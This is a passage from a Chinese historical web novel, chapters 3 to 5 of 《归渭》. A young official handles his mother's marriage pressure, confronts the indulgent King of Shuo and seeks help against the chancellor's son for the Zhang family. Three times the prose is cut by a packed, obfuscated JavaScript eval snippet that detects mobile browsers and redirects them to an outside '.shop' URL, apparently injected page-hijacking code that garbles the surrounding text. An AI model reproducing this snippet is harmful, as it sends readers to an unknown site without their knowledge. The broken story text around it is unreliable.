《归渭》 3. 朔王 翌日天刚破晓，如烟晨雾缱绻漫过太尉府廊檐。浅淡天光穿透雕花窗牗，柔柔洒落厢房之内，清宁安和。 萧书言晨起梳洗完毕，穿好一身官服，朝前院走去。萧家男主多驻守边关军营，府中唯有他需入宫上朝，故而起得最早。他本以为晨间膳厅无人，踏入厅中，却见萧夫人坐于案前，一身素雅襦袍，未施珠翠脂粉，神色冷峻。 他当即展露出一抹温和笑意，负手上前问询：“阿母今日怎起得这般早？” 萧夫人全然将他视作空气，目不斜视，执筷夹起一枚黄米凉糕，小口细嚼慢咽，这番疏离冷淡的模样，摆明了仍在为昨日寿宴上他仓促离席一事置气。 “二公子来啦。” 侍女碧荷见他进门，笑盈盈地迎上前，取过干净的瓷盘为他布菜，“昨儿城外庄子里送来些新鲜板栗，今早厨房特意蒸了栗子泥，做了这板栗酥，您快尝尝，还热着呢。” 萧书言撩袍落座后，伸手拈起一块板栗酥，放至萧夫人面前瓷碟中。他心知母亲素来记仇，最恼他敷衍婚事，白白错失相看良缘时机，语气温顺讨饶：“阿母生辰在即，有什么想要的，孩儿这便去为您寻来。” 萧夫人置若罔闻，垂眼端起白瓷碗，喝起粥来。 萧书言无奈莞尔：“对了，您不是一直想养只狸猫？王宫苑内有只母猫即将产子，待幼崽降生，我便抱一只回府，给阿母解闷。” “哼。”萧夫人这才放下碗筷，抬眸睨他一眼，语气不屑：“休拿这些阿猫阿狗来搪塞我，为母如今别无所求，只想抱孙子。” 生怕他含糊糊弄，她又郑重补了一句：“要抱你自己的孩儿，也休拿你侄子侄女说事。” 萧书言低声失笑，一想今日朝堂积压一堆烦心公务，他迅速草草扒了两口白粥，便打算起身入宫。 “站住。” 萧夫人出声将人唤住，眼底带着嗔意，目光狠狠地剜了眼他后脑勺——分明气还未消，这人便想开溜，当真是越发不把她这个母亲放在眼里，“我且问你，你昨日带回府中的那名小女娘，究竟是什么来历？” 骤然被问及此事，萧书言一时没反应过来，稍作思忖，才反应过来她说的是章朝月，淡笑一声：“那是个是个苦主，遭霍展构难，兄妹离散，走投无路之下求助于我。昨日她不慎在街头昏倒，我便顺路将人带回府中安置。” 萧夫人眸光流转，细细扫过他的神色，将嘴一撇：“哼！我可不信你有这般善心，我自己生的儿子，什么品性我还不清楚？上月城西流民拦路跪地求助，一家老小无家可归，求你通融官府，你尚且冷眼避开、分毫不管，何时变得这般菩萨心肠，愿意出手救助陌生路人了？” “我当真是您亲生的？”萧书言斜眼乜他母亲，佯作嗔怨。戏谑归戏谑，他依旧耐着性子解释：“上月流民一事牵扯地方吏治积弊，盘根错节，我身为朝臣，不便贸然插手。可昨日那姑娘孤身一人，弱质娉婷昏倒在闹市街头，无人照看，我总不能置之不理。” “这般说来，你倒是懂得怜香惜玉了。”萧夫人身子微微前倾，这才漏出个极淡的笑，直白说道，“那郑三小姐温婉得体、家世也相配，你却百般推脱不愿亲近。若是你实在不喜欢她，昨日那女娘，我瞧着样貌标志，性子看着也安稳，我也并非不能接受，你便顺手帮帮她又何妨？” 萧书言心头一紧，瞬间洞悉母亲心思，他连忙正色劝阻：“阿母万万不可去同那女娘胡乱攀谈，眼下阿父、阿兄驻守边关，军中粮草军饷皆需霍相签字画押方可拨付。这节骨眼上，多一事不如少一事，咱们不能因私人事端，拖父亲后腿。” 窗外天光渐亮，晨钟将至，早朝时辰迫在眉睫，言毕便拱手躬身行礼：“时辰已晚，早朝将近，孩儿再迟便要误了时辰。” “去吧。”萧夫人望着他仓促离开的背影，又扬声补了一句：“你那表弟此刻怕是还沉溺温柔乡里，自在逍遥。偏偏就你呆板木讷，不解风情。” 话至此处，她又念起远在长安的小女儿，心底郁结更甚。那孩子更是个缺心眼、没苦偏要自己找苦吃————当年举家随朔王迁出咸阳、奔赴封地，唯独她惦念独居深宫的姑母，怜惜她无亲无伴、孤苦伶仃，执意独自留下侍奉姑母、代表兄尽孝。可她一腔赤诚、终究所托非人，她这表兄生性荒唐浮浪、凉薄寡情，年纪轻轻，不理朝政，沉溺声色，肆意恣纵，白白辜负了女儿数年守候与痴心。 念及儿女各自执拗、萧夫人心中又是气闷又是心疼，她自问聪慧通透、识人辨事，持家教子从无差错，怎么偏偏生了这般一双傻子。 天色已然大亮，王宫朱门大开，禁卫持戈肃立，一众朝臣身着朝服，依序伫立，静候君王临朝。 未几，殿内走出一名隽秀黄门侍郎，行至百官面前，高声传谕：“王上身体不适，今日罢朝，诸位大人尽皆退去。” 群臣们听后无一人诧异，显然习以为常——朔王耽于享乐、疏于朝政乃是常态，无故罢朝早已是寻常之事。 人流散去之际，丞相霍嵩侧目看向萧书言，昨日章朝月拦辇告状、最后被萧书言带走一事，他已然知晓。二人视线短暂相撞，霍嵩笑的意味深长。 “霍相。”萧书言神色不变，从容颔首行礼。他自从来朔国，扎根此地多年，父兄镇守边关，为大徵死守疆土；而他滞留朝堂，替朔王周旋权衡、打理朝务，多年隐忍筹谋，早已在朝中站稳脚跟，绝非任人拿捏之辈。 待百官散尽，萧书言并未出宫，转身绕开主殿，往后宫偏殿走去。 宫道冷森，沿途宫人皆垂首贴墙而行。行至朝露殿外，他抬手，推开殿门。 殿内暖香氤氲，靡香混着浓重酒气扑面而来，室内帷幔松垂，帘钩半落，一地轻薄衣衫散乱铺落，锦绸罗裙、素色里衣缠作一团，狼狈散落于案前、榻边。 正中宽大雕花床榻之上，景象靡乱——朔王衣衫尽褪，赤裸上身慵懒横卧，他左右双臂各揽一名绝色美人，交卧于绵软锦被之中。美人眉眼含媚，发丝散乱，周身尽是慵懒靡靡之气。 木门轻响的动静入耳，两名美人突然见有人闯入， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515262|203155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊慌之下连忙缩身，慌乱扯过旁侧散落的锦被裹住自身，面色羞红，不敢抬头，屈膝拢好被褥，起身捡起衣衫，垂首快步从侧门退离殿中。 殿内瞬时安静下来，只剩朔王李元影一人闲散卧于榻上。他半饧着狭长风眸，身躯微微撑起，斜倚在柔软锦垫之上，漫不经心望向门口伫立的萧书言，嗓音沙哑慵懒：“表兄，你吓着孤的美人了。” 萧书言立于殿门口，好整以暇地偏过脸瞅他：“照王上这般行事，大抵快要与商纣比肩。” 光透过窗牗照在李元影脸上，他细长的眼眯了眯，唇角轻挑，漫然一笑，一双丹凤眼顿时漾开潋滟浮光，明明是放荡怠惰的模样，偏生一副得天独厚的倾城皮囊，只把那原本该落个荒淫无道的行径，硬生生衬成了倜傥风流的韵事。 他不急不躁，抬手取过榻边衣物，随意披覆上身，赤着脚端起案上的冷茶，一饮而尽。而后逐一系好衣带，规整衣衫，二人一前一后走出内殿。 几名宫女垂首上前，端来热茶置于案上，崔侍郎亦领着内侍，将早膳摆放在外间食案。 李元影洗漱罢，撩袍落座，捏起一个肉包，慢条斯理地揭去底部那层薄薄的面皮，这才就着馅心咬了一口，咽尽后，方抬眼道：“昨日那名拦路告状的女娘，还在太尉府？” “尚在府中。” 萧书言摩挲着手中茶盏，敛容道：“没曾想，她竟是出自凤鸣书院。” 他吃过包子，取过宫女递过来的巾子拭净手指，端起手边的粥碗，饮了小半碗，放下碗箸，方淡淡开口：“便是那位考取太学甲科，却甘愿归乡教书的章氏之妹？” “正是，此人名唤章崇云。” “崇云、朝月。”朔王勾唇轻笑：“这兄妹二人，名字倒是起得大气。” 萧书言放下茶盏，徐徐道来：“你有所不知，他们的祖父来历不浅，是前朔太史，才高八斗，学富五车。当初我们刚入昭华城时，霍相曾特意亲赴凤梧原凤鸣书院拜访，想要请他出山入朝再仕，却被他婉言谢绝。” 他稍作停顿，添了些许唏嘘：“听说章氏一族大半族人，尽数为前朔国殉身，满门忠烈。如今他膝下凋零，仅剩四个孙辈，相依度日。” 案侧狻猊三足香炉静静吐纳烟气，醇厚温润的沉水香袅袅攀升，漫溢整个大殿，李元影半眯狭长凤眸，不屑道：“依孤看，这章公子也是假清高。既然无心朝野、不愿出仕为官，又何苦远赴太学博取甲科功名。” 萧书言笑眼看他：“有的人考取功名，不过是想验证下自己的才学罢了。” “你想用此人？” “这是其一，那章朝月自称家中藏有前朔典籍，愿以此为筹码，换我出手救出她的兄妹。” “你要救便自己想办法，孤帮不了你。”李元影将指节在案上叩了叩，嘴角微微一扯，慢悠悠地提点道，“不过，孤倒是有个法子——听闻舅母有意同郑廷尉家结亲。郑家乃朔国百年世家，根基深厚，素来不惧丞相的势力，廷尉本又是掌法的，你不妨去找你这位未来的丈人搭把手。” 4. 初见 萧书言从王宫出来，当即遣人往郑府送信，约郑璎珞在城中古茗茶楼一见。 日头升至半空，茶楼二楼临窗的雅间敞亮通透。 郑璎珞推门而入，一眼便瞧见负手立在窗前、正望向街景的萧书言。她乌溜溜的大眼睛眨了两下，眸中漾开脉脉柔情。走近几步，嗓音含笑，甜甜唤了声：“书言哥哥。” 萧书言转过身，俊秀的面庞上漾开笑意：“昨日寿宴上，我有急事中途离席，怠慢了妹妹，还望莫怪。” 店小二奉上茶水点心。萧书言执起竹荚，夹了一块芙蓉茶穰卷放到郑璎珞碟中，含笑道：“这家的糕点做得不错，妹妹尝尝。” 郑璎珞尝了一小口，赧然点头：“是不错。” 见萧书言自己并不吃，只饮了口茶，幽幽叹了口气，她关切地问：“书言哥哥，可是有什么烦心事？” 萧书言趁势便将章朝月兄妹遭霍展构陷、无辜被拘一事告诉了郑璎珞。他神色黯然：“都怪我本事不济，帮不了那位小娘子。早知道昨日就不该将她带回府，还因此怠慢了妹妹和伯母。” 郑璎珞本就是个性子敞亮、嫉恶如仇的姑娘。听萧书言这么一说，当即面露不平，语气愤然：“霍展这般横行霸道，实在可恨！书言哥哥不必烦心，你让那女娘直接去廷尉府告状。我阿父执掌刑狱，最容不下这等枉法之事，绝不会坐视不管。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515263|203155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萧书言微微蹙眉：“可此事一旦闹开，怕是要惊动霍丞相……” “霍丞相又怎样？”郑璎珞挺直脊背，语气带着几分不屑，“我郑家世代扎根代国，守的是这片土地的法度与公道。我阿父身为廷尉，便有责任护百姓周全。他霍家不过是长安派来的人，凭什么在我们的地界上肆意妄为？我们郑家，从不怕他。” 萧书言望着眼前女子眉眼间的坦荡风骨，眸中掠过几分赞许，轻声叹道：“妹妹胸襟坦荡，明辨是非，比朝中许多蝇营狗苟之人更有风骨担当。” 郑璎珞得了这般赞赏，脸上浮起两片红云，抿着唇，悄悄抬眼看向萧书言。萧书言却心有愧疚，将目光移向窗外。 5.初见 天色向晚，众人便在城中留宿一夜。次日破晓，府门外早候了一架乌篷马车，赶车的人正是耿三。 这人瞧上去得有五十岁了，背佝偻得厉害，像被岁月压弯的老树，经受了无数次风雨摧残，一张瘦长的脸上皱纹叠叠，眼睛却还算清亮，听不见也说不了话，是个聋哑人。 见章朝月走出，他佝偻的身子立刻压得更低，急急上前一步，弓着背，极为郑重地伸手撩起车帘。 章朝月冲他点点头，弯腰上了车，随后章崇云、章朝星、阿珠也依次登车。耿三放下帘子，跳上车辕，一甩鞭子，马车便吱吱呀呀地朝城外驶去。 此处是朔国王城昭华，属淮东郡地界，依山筑城，风土古朴。晨间街市方才苏醒，沿街皆是土坯院墙、灰瓦矮屋，屋子挨挨挤挤，错落排布。粮铺、酒肆挨着次第铺开，蒸笼上冒着白气，油锅里滋啦作响。卖菜的、卖布的、卖杂货的，摊子一个挨一个，行人三三两两，走走停停。有蹲在路边抽旱烟的，有倚在门框上打哈欠的，有抱着孩子喂饼的。鸡犬之声相闻，锅碗瓢盆碰撞，没有一样是安静的，没有一样不是日子。 出了城便上了原路，坡陡弯多，寻常车夫少不得让车里人前仰后合，耿三虽是聋哑，赶车的本事却是一等一的好，马车行在坑洼处，也只是轻轻晃一下，不觉得硌人。上了原顶，地势平坦，马车便轻快地跑起来，没多一会儿，远远便望见了凤鸣书院的灰瓦白墙。耿三勒住缰绳，回头朝车厢里“啊啊”两声，众人便知到了。 众人下了马车，推开书院大门。门内前院极宽敞，夯土打实的地面，夯得紧实平整，两侧空地开阔，可供学子习射、行步。正对大门立着一道高大的青砖影壁，壁上嵌着一方石匾，刻着“凤鸣高岗”四个字，绕过影壁，便进了正院。院中四四方方，敞亮通透。坐北朝南一溜三间堂屋，建在高出地面尺许的夯土台基上，青瓦覆顶，檐角平直，这便是平日讲学的学堂了。学堂两侧各有三间厢房，用作书房、茶室，以及存放书简器物之所。 后院份东西两院，男眷住东院，女眷住西院，章朝月抬眼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520820|203155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便见西侧月门内转出两人。 当先一位三十六七的妇人，身段窈窕，面容清秀，身着素净靛蓝襦裙，正是章朝月的奶娘杨青。 她身后跟着个十四五岁的惨绿少年，个头高挑，浓眉大眼，见到一行人归来，咧嘴一笑，露出两个深深的酒窝，嗔怪道：“阿兄、阿姊，你们怎么才回来？可急死我了！祖父又不准我下原，只能困在院中干等。”那眉眼轮廓、神态气韵，与章朝星有七八分相似，是她的双生弟弟，章崇霄。 此二人是章老太爷次子所出的一对双生子，章朝月则是章老太爷长子的女儿，而家中年纪最长的章崇云，其实并非章家血脉，是章朝月父母在战乱中收养的孤儿，被带回时已经六岁，章老太爷待他如亲孙，他更是争气，完全继承了老太爷的衣钵，才高八斗学富五车，前年朝廷举贤良方正，被州郡推举至长安参加策试，文章经诸卿评议，定为全国第三，一时才名动京师，按制应授郎官，留京候补，他却放心不下祖父和弟弟妹妹，离了长安回到朔国，与祖父一同讲学。